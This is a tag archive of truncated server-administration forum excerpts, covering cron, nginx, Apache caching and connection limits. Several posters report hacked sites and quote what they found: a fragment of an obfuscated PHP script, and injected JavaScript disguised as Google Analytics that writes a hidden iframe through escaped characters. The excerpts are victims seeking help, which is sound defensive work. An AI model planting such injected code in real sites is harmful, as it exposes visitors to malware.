Posts Tagged ‘code lt

Hello, Does anyone know how to set up a cron in centos to auto delete old /tmp directory files. It would be appreciated. Thanks. dave_j replied: A PHP script something like the following will do it. You can then use cron to run the script when needed. Adjust the last line so that it points [...]

I’m working on bringing in a bunch of sites from an acquisition, and I had noticed that php-cgi process were spawned and taking 100% CPU. Looking into those processes, they were running PHP files with filenames that contained digits (ie: 157681.php), with content like the following: Code: <? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI); $d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF); $e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING); $f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER); $g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT); [...]

Hello! I have php5 fastgi installed on my VPs with nginx. They are both working fine but GD doesn’t work. GD is installed – How do I configure it to work with nginx? Jack. BTCentral Ben replied: If you haven’t already: PHP Code: yum install php-gd  Then create a new php file with the following: PHP Code: [...]

mod_cache mod_disk_cache mod_mem_cache is it best to use all 3 of them together? is there a certain way to increase performance with the cache systems? this is what i currently have: Code: <IfModule mod_cache.c> UseCanonicalName On CacheIgnoreNoLastMod On CacheIgnoreCacheControl On CacheIgnoreHeaders Set-Cookie CacheDefaultExpire 600 <IfModule mod_disk_cache.c> CacheRoot /var/cache/httpd CacheEnable disk / CacheMaxFileSize 64000 CacheMinFileSize 64 [...]

hi all pico /usr/local/apache/conf/httpd.conf search <Directory "/"> Code: <Directory "/"> Options -ExecCGI -FollowSymLinks Includes IncludesNOEXEC Indexes -MultiViews SymLinksIfOwnerMatch AllowOverride All </Directory> Code: <Directory "/home"> Options -ExecCGI -FollowSymLinks -Includes IncludesNOEXEC Indexes -MultiViews SymLinksIfOwnerMatch AllowOverride AuthConfig Indexes Limit FileInfo Options=IncludesNOEXEC,Indexes,Includes,MultiViews,SymLinksIfOwnerMatch </Directory> madaboutlinux replied: What exactly are you looking for? Are you looking to install secure perl on [...]

I installed last limitipconn module on apache 2.x (CPanel Server) How can limit ip connection for download .avi .mp3 .mp4 .vmw .exe for all /home directory and sub-directory? Please help me … Is it a true setting? Code: <IfModule mod_limitipconn.c> <Location /home> MaxConnPerIP 3 OnlyIPLimit audio/mpeg video </Location> </IfModule> Regards, Kalle KADOO gozargah replied: Any [...]

Hello, We have lots of sites on the server and unfortunately they are being hacked by hackers and most of the sites are showing "Hacked By BlackHacker" They are taking on almost every site . We scanned the server and dint find anything through Clamscan. We have no passwords changed. We request you to please [...]

Dears I have received an email from someone saying the following and with an attachment open.html containing this code. Can someone tell me what is this? I opened this file from Firefox in Win7 and on Firefox on Ubuntu: PLEASE HELP. Is my computer in danger now? *****THE EMAIL******* Dear Customer, This e-mail was send [...]

Hi, I was getting virus aleart when i open my sites, i checked every thing and found that this code got injected is on my every site header or footer or index.php on my that server, here is code: Code: <Script Language=’Javascript’> <!– Google.com Analytics | Official Website –> <!– document.write(unescape(‘edited something like that %22%30%70%78%22%20%68%65%69%67%68%74%3d%22%30%22%20%77%69%64%74%68%3d%22%30%22%3e%3c%2f%69%66%72%61%6d%65%3e’)); [...]

Hey everyone, I have a server box, running windows 2008. I installed Murmur and am trying to host mumble servers for several communities, i get the following error when starting the mumble server. Code: <W>2010-04-12 00:12:16.363 Initializing settings from C:/Program Files (x86)/Mumble/murmur.ini (basepath C:/Program Files (x86)/Mumble) <W>2010-04-12 00:12:16.377 SSL: Added CA certificates from system store [...]